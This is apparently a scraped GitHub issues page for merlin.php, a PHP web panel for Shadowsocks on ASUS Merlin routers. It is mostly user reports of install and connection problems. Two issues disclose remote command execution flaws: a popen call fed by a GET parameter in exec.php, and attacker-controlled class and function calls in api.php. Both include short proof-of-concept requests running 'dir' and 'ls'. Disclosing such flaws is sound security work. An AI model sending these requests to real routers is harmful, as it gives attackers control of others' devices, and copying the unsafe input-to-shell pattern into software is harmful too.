qoli / merlin.php Goto Github PK
View Code? Open in Web Editor NEW面向 ASUS﹣MERLIN 的 SS Web 管理面板。只支持 http://koolshare.io 下的固件版本。
Home Page: https://qoli.github.io/Merlin.PHP/
面向 ASUS﹣MERLIN 的 SS Web 管理面板。只支持 http://koolshare.io 下的固件版本。
Home Page: https://qoli.github.io/Merlin.PHP/
代碼片段:
if [ "$server_ip" == $array1 ];then
isWork="1"
else
isWork="0"
fi
echo ""$array9 ": (working: "$isWork") " $array1
檔案:
/opt/share/www/bin/script/ssconfig.sh
原因:
dbns 從 shadowsocks_server_ip 返回值為解釋后 IP。
然而參與比較的是域名,所以無法判斷。
rt,ext3和4我都试过了,结果都是安装完使用很正常,一旦重启就打不开了。用的是新脚本,虚拟内存选择了512m。报错还是老样子“192.168.1.1:81拒绝了我们的连接请求”
很好的工具,刚才测试了下,发现个小问题
使用使用本工具切换节点后,merlin前端显示的模式和节点还是原来的,但是发现后台确实是已经切换成功了
比如我要从节点6的大陆白名单模式
节点6:
ssconf_basic_node_6=1
当前结点值
ssconf_basic_mode=5
节点6初始值:
ssconf_basic_node_6=2
当前结点初始值
ssconf_basic_mode=6
现在的情况是这两个值没有变化,请修复
请问安装好后,重启路由后工具会自启动吗
直接无法访问该页面呢
在脚本安装到最后
open http://192.168.1.1:81 and enjoy.
但是实际我的应该是192.168.2.1
实际已经连接成功,但是google永远time out
原来用着好的,在安装了“梅林首页增加部分系统信息”插件后,重启路由器后就打不开192.168.2.1:81网页了,重新安装软件包还是不行!
打不开192.168.1.1:81
安装完成了,但无法连接。安装过程中中间出现过lightpad is not found,ipkg: not found。我现在的固件是梅林6.61,是不是不支持AC88U啊。问下JFFS要打开吗?
在exec.php中直接获取了command参数使用 popen函数导致命令执行。
$c = _GET('command', 'unknow');
$handle = popen($c, "r");
漏洞详情请参考: http://blog.51cto.com/010bjsoft/2298828
poc:
/exec.php?command=dir
rt 这是我用chrome的提示 错误信息是ERR_CONNECTION_REFUSED
安装过程并无报错,就是打不开(换过其他端口结果一样没用)
Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/autoupdate/update.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 31
Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/autoupdate/check.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 32
Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/autoupdate/reinstall.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 33
Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/script/ssconfig.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 34
Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/script/netspeed.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 35
1.网络类型一直显示为NULL
但后台看了下SS是working状态。
如題。卸載DM、格式化u盤然後重裝DM和工具後還是不行。懷疑是最新版DM(102)造成的。求救。
固件7.5,ss3.6.0
谢谢:)
在api.php中使用了eval函数,其他几个参数可控制导致任意代码执行。
$c = new $o();
$o = _GET("class",'unknow');
$f = _GET('function','unknow');
$agrs = implode(',',$_POST);
可以看出$o是一个对象,$c是$o对象的实例化,$f是对象的成员方法,$agrs是post传入的参数,也就是成员方法的参数。
poc:
POST /6/api.php?function=command&class=remote HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
cc='ls'
跟踪执行流程,实际是执行了下面的代码,导致任意代码执行漏洞。
$c = new remote;
$j = $c->command('ls');
暫未計劃解決
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.